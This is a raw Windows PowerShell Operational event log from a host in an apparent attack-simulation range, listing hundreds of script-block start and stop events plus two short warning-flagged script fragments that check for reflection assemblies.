Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997302 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997301 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997300 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997299 Keywords=None Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997298 Keywords=None Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997297 Keywords=None Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997296 Keywords=None Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997295 Keywords=None Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997294 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997293 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997292 Keywords=None Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997291 Keywords=None Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997290 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997289 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997288 Keywords=None Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997287 Keywords=None Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997286 Keywords=None Message=Completed invocation of ScriptBlock ID: 230f2a31-f512-4cd0-b5b2-0575f5662b6c Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997285 Keywords=None Message=Completed invocation of ScriptBlock ID: e1bb616b-23a1-437c-903e-555ab84c85c2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997284 Keywords=None Message=Started invocation of ScriptBlock ID: e1bb616b-23a1-437c-903e-555ab84c85c2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997283 Keywords=None Message=Creating Scriptblock text (1 of 1): $global:? ScriptBlock ID: e1bb616b-23a1-437c-903e-555ab84c85c2 Path: 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997282 Keywords=None Message=Completed invocation of ScriptBlock ID: 8ab22e11-0b50-41a2-a1e7-50e98b71b385 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997281 Keywords=None Message=Completed invocation of ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997280 Keywords=None Message=Completed invocation of ScriptBlock ID: 1c7ebf96-85c9-4476-bef9-a0ef8f8cdd73 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997279 Keywords=None Message=Started invocation of ScriptBlock ID: 1c7ebf96-85c9-4476-bef9-a0ef8f8cdd73 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997278 Keywords=None Message=Creating Scriptblock text (1 of 1): {($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])} ScriptBlock ID: 1c7ebf96-85c9-4476-bef9-a0ef8f8cdd73 Path: 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997277 Keywords=None Message=Completed invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997276 Keywords=None Message=Started invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997275 Keywords=None Message=Completed invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997274 Keywords=None Message=Started invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997273 Keywords=None Message=Completed invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997272 Keywords=None Message=Started invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997271 Keywords=None Message=Completed invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997270 Keywords=None Message=Started invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997269 Keywords=None Message=Completed invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997268 Keywords=None Message=Started invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997267 Keywords=None Message=Completed invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997266 Keywords=None Message=Started invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997265 Keywords=None Message=Completed invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997264 Keywords=None Message=Started invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997263 Keywords=None Message=Completed invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997262 Keywords=None Message=Started invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997261 Keywords=None Message=Completed invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997260 Keywords=None Message=Started invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997259 Keywords=None Message=Completed invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997258 Keywords=None Message=Started invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997257 Keywords=None Message=Completed invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997256 Keywords=None Message=Started invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997255 Keywords=None Message=Completed invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997254 Keywords=None Message=Started invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997253 Keywords=None Message=Completed invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997252 Keywords=None Message=Started invocation of ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997251 Keywords=None Message=Creating Scriptblock text (1 of 1): {($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])} ScriptBlock ID: 184b9f82-4a8c-4b37-a92e-23d5ac451888 Path: 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997250 Keywords=None Message=Completed invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997249 Keywords=None Message=Started invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997248 Keywords=None Message=Completed invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997247 Keywords=None Message=Started invocation of ScriptBlock ID: 